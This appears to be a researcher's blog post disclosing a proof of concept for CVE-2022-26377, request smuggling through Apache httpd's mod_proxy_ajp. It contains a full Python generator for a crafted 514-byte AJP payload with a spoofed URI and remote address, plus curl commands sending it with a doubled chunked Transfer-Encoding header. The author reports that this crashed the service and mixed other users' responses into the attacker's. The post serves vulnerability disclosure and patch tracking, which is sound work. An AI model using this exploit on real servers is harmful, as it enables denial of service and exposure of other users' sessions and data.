CVE-2022-26377 Apache httpd AJP request smuggling - a proof of concept payload generator

While searching for a HTTP request smuggling possibility in my security exploration of Entersekt Transakt secure gateway which is HAproxy 1.5 based, I saw the CVE-2022-26377 Apache httpd mod_proxy_ajp request smuggling.
Hmm, I have such project setup for another component…
Searching for the reporter I found his blog. Thanks to DeepL or Google translate, the chinese page is readable for the rest of the world.
I created a payload generator based on allyshka ‘s script for CVE-2020-1938 Ghostcat - Apache Tomcat AJP vulnerability and BINGO it’s working.
In our special case I could create a Denial of Service on-top.

I wrote Apache httpd team:

In my project setup I was able to do a Denial of Service follow-up issue.
If one send a lot of POST requests with request smuggling that are sure
to fail due to a missing or wrong ajp secret, because my Tomcat has set a secret,
one is poisoning the Tomcat connection handler with http 403 responses.

I get random responses in my curl post requests, that look like a context
of the actual real connections of real users and vice versa the real browser user sessions
get my HTTP 403 or some code snippets or incomplete web pages.
Due to the nature of our application an user is kicked out, if a http error code is received.
I successfully did a DoS at our application.

The connections have not healed themselves.
At the end of my tests I had to restart httpd and tomcat to get it working again in normal operation mode.

1. Generate the payload:
     python3 CVE-2022-26377_generate_ajp_payload.py --target_req_uri /some_get_uri
--secret ajp_wrong_secret_not_configured_in_server_xml | xxd -r -p >
payload.data
or just without any secret:
     python3 CVE-2022-26377_generate_ajp_payload.py --target_req_uri /some_get_uri |
xxd -r -p > payload.data

2. in browser use the website as usual as normal user

3. Do a lot of this curl calls to poison the connections:
curl --insecure -i https://vulnerable-tls-endpoint/post_uri -H
'Transfer-Encoding: chunked, chunked' --data-binary @payload.data

4. curl and browser get stuck

Apache httpd project response was:

Hi all, thanks for looping us in, but I don't see anything unexpected here.

Without the fix for a known request smuggling vulnerability, requests
can be smuggled through mod_proxy_ajp.  The responses to the smuggled
requests will be available to connections sitting pooled connections
on the proxy server.

If there is some specific unreported shortcoming in httpd that an
attacker can influence, please share a more complete description that
doesn't depend on prior vulnerabilities being unresolved.

Current Tomcat versions do not longer allow any AJP attribute, thus I used a harmless one and put some dummy value as filler.
My payload generator for CVE-2022-26377

# Inspired by ajp-packet.py script @ https://gist.github.com/allyshka 
# for CVE-2020-1938 Ghostcat - Apache Tomcat AJP File Read/Inclusion Vulnerability
# -->
# The payload for CVE-2022-26377 HTTP Request Smuggling in ajp_proxy of Apache webserver
# can be build with this modified script

import struct
import argparse
from urllib.parse import urlparse

def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)


parser = argparse.ArgumentParser(description='Payload generator for CVE-2022-26377 HTTP Request Smuggling in ajp_proxy of Apache webserver, based on allyshka script for CVE-2020-1938 Ghostcat')
parser.add_argument('--target_req_uri', help='spoof internal uri for HTTP GET request smuggeling', required=False, default="/index.html")
parser.add_argument('--target_port', help='internal port for HTTP GET request smuggeling', required=False, default=8080)
parser.add_argument('--remote_addr', help='spoof remote address for HTTP GET request smuggeling', required=False, default="127.0.0.1")
parser.add_argument('--secret', help='ajp secret for HTTP GET request smuggeling', required=False)

arg_target_req_uri = parser.parse_args().target_req_uri
arg_target_port = int(parser.parse_args().target_port)
arg_remote_addr = parser.parse_args().remote_addr
arg_secret = parser.parse_args().secret

# payload for CVE-2022-26377 Request Smuggling does not need complete AJP structure !
# complete AJP structure
#magic = 0x1234						# GET - but not used here
#prefix_code = struct.pack("b", 2) 	# forward request - but not used here
#method = struct.pack("b", 2) 		# GET - but not used here
protocol = pack_string("HTTP/1.1")
req_uri = pack_string(arg_target_req_uri)			# change it to tomcat internal url
remote_addr = pack_string(arg_remote_addr)			# change it
remote_host = pack_string(None)
server_name = pack_string(None)
server_port = struct.pack(">h", arg_target_port)	# change it
is_ssl = struct.pack("?", False)
num_headers = struct.pack(">h", 0)
# The final payload need to be exactly 514 bytes
# thus we us an attribute and put some dummy value as filler
# we start at filler with 1 byte and recalculate depending on changed values above
attributes = {'javax.servlet.request.cipher_suite': 'a' * 1}
end = struct.pack("B", 0xff)

# not used: data = prefix_code
# not used: data = method
data = protocol
data += req_uri
data += remote_addr
data += remote_host
data += server_name
data += server_port
data += is_ssl
data += num_headers
# generate attrs
if arg_secret is not None:
	attr_code_secret = struct.pack("b", 0x0c) # SECRET
	data += attr_code_secret
	data += pack_string(arg_secret)

attr_code = struct.pack("b", 0x0a) # SC_A_REQ_ATTRIBUTE
for n, v in attributes.items():
    data += attr_code
    data += pack_string(n)
    data += pack_string(v)


data += end # packet terminator byte 0xff

# depending on req_uri, remote_addr, etc. the attribute filler is adjusted
# print(f"payload length: {len(data)}")
current_len = len(data)
# calculate the final filler length
final_len = 514 - current_len + 1


attributes_final = {'javax.servlet.request.cipher_suite': 'a' * final_len}

data = protocol
data += req_uri
data += remote_addr
data += remote_host
data += server_name
data += server_port
data += is_ssl
data += num_headers
# generate attrs
if arg_secret is not None:
	attr_code_secret = struct.pack("b", 0x0c) # SECRET
	data += attr_code_secret
	data += pack_string(arg_secret)

attr_code = struct.pack("b", 0x0a) # SC_A_REQ_ATTRIBUTE
for n, v in attributes_final.items():
    data += attr_code
    data += pack_string(n)
    data += pack_string(v)

data += end # packet terminator byte 0xff

# depending on req_uri, remote_addr, etc. the attribute filler is adjusted
# print(f"payload length: {len(data)}")
current_len = len(data)


# not used: header = struct.pack(">hH", magic, len(data))
# not used: ajp_request = header + data

# For CVE-2022-26377 AJP Request Smuggeling we do not need the header, only some data
ajp_request = data

# The final payload need to be exactly 514 bytes
print(ajp_request.hex())

It was end of October, beginning November 2022, a fresh RHEL 8.6 update had been performed. It was not clear to me if backporting & cherry picking was already done by Redhat.
It just still took for Redhat until 08 November, 5 months since the disclosure.
https://access.redhat.com/security/cve/CVE-2022-26377

Today 19. Januar 2023. Is the patching problem repeating itself?
Newest CVE-2022-37436 is out since 17. Januar and we will see when Redhat will release the fix @ https://access.redhat.com/security/cve/CVE-2022-37436

Disclaimer

The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

The contents of this advisory are copyright (c) 2023 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

Written on January 19, 2023 | Last modified on February 15, 2023